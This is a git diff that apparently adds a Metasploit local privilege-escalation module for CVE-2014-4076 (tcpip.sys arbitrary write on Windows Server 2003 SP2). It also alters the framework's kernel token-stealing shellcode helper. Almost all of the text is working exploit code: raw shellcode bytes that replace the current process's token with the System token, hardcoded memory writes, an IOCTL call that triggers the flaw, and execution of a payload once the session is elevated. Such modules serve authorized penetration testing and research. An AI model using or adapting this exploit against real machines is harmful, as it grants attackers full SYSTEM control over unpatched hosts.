diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb index 0c50d54c49..adc988a3cb 100644 --- a/lib/msf/core/exploit/local/windows_kernel.rb +++ b/lib/msf/core/exploit/local/windows_kernel.rb @@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel # original token to so it can be restored later. # @param arch [String] The architecture to return shellcode for. If this is nil, # the arch will be guessed from the target and then module information. + # @param append_ret [Boolean] Append a ret instruction for use when being called + # in place of HaliQuerySystemInformation. # @return [String] The token stealing shellcode. # @raise [ArgumentError] If the arch is incompatible. # - def token_stealing_shellcode(target, backup_token = nil, arch = nil) + def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true) arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch'] if arch.nil? && module_info['Arch'] arch = module_info['Arch'] @@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided end tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks - tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks + tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP) - tokenstealing << "\x75\xe8" # jne 0000101e ====================== - tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX + tokenstealing << "\x75\xe8" # jne 0000101e ======================| + tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS tokenstealing << "\x5b" # pop ebx # Restores ebx tokenstealing << "\x5a" # pop edx # Restores edx - tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + if append_ret + tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel! + end else # if this is reached the issue most likely exists in the exploit module print_error('Unsupported arch for token stealing shellcode') diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb new file mode 100644 index 0000000000..cd75dea112 --- /dev/null +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -0,0 +1,159 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/local/windows_kernel' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = AverageRanking + + include Msf::Exploit::Local::WindowsKernel + include Msf::Post::File + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation', + 'Description' => %q{ + A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys, + can allow an attacker to inject controlled memory into an arbitrary + location within the kernel. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Matt Bergin ', # Vulnerability discovery and PoC + 'Jay Smith ' # MSF module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Targets' => + [ + ['Windows Server 2003 SP2', + { + '_KPROCESS' => "\x38", + '_TOKEN' => "\xd8", + '_UPID' => "\x94", + '_APLINKS' => "\x98" + } + ] + ], + 'References' => + [ + ['CVE', '2014-4076'], + ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt'] + ], + 'DisclosureDate'=> 'Nov 11 2014', + 'DefaultTarget' => 0 + })) + + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + return Exploit::CheckCode::Safe unless handle + + session.railgun.kernel32.CloseHandle(handle) + + file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys" + unless file?(file_path) + return Exploit::CheckCode::Unknown + end + + major, minor, build, revision, branch = file_version(file_path) + vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") + + if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + if is_system? + fail_with(Exploit::Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + unless check == Exploit::CheckCode::Vulnerable + fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") + end + + handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') + if handle.nil? + fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") + end + + print_status("Storing the shellcode in memory...") + this_proc = session.sys.process.open + + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE") + + unless this_proc.memory.writable?(0x1000) + fail_with(Failure::Unknown, 'Failed to allocate memory') + end + + buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" + + sc = token_stealing_shellcode(target, nil, nil, false) + # move up the stack frames looking for nt!KiSystemServicePostCall + sc << "\x31\xc9" # xor ecx, ecx + sc << "\x89\xeb" # mov ebx, ebp + # count_frames + sc << "\x41" # inc ecx + sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 + sc << "\x8b\x1b" # mov ebx, dword [ebx] + sc << "\x75\xf4" # jne short count_frames + sc << "\x49" # dec ecx + # loop_frames + sc << "\x49" # dec ecx + sc << "\x89\xec" # mov esp, ebp + sc << "\x5d" # pop ebp + sc << "\x83\xf9\x00" # cmp ecx, 0 + sc << "\x75\xf7" # jne loop_frames + sc << "\x31\xc0" # xor eax, eax + sc << "\xc3" # ret + + this_proc.memory.write(0x28, "\x87\xff\xff\x38") + this_proc.memory.write(0x38, "\x00\x00") + this_proc.memory.write(0x1100, buf) + this_proc.memory.write(0x2b, "\x00\x00") + this_proc.memory.write(0x2000, sc) + + print_status("Triggering the vulnerability...") + session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) + #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it + + print_status("Checking privileges after exploitation...") + + unless is_system? + fail_with(Failure::Unknown, "The exploitation wasn't successful") + end + + print_good("Exploitation successful!") + unless execute_shellcode(payload.encoded, nil, this_proc.pid) + fail_with(Failure::Unknown, 'Error while executing the payload') + end + end + +end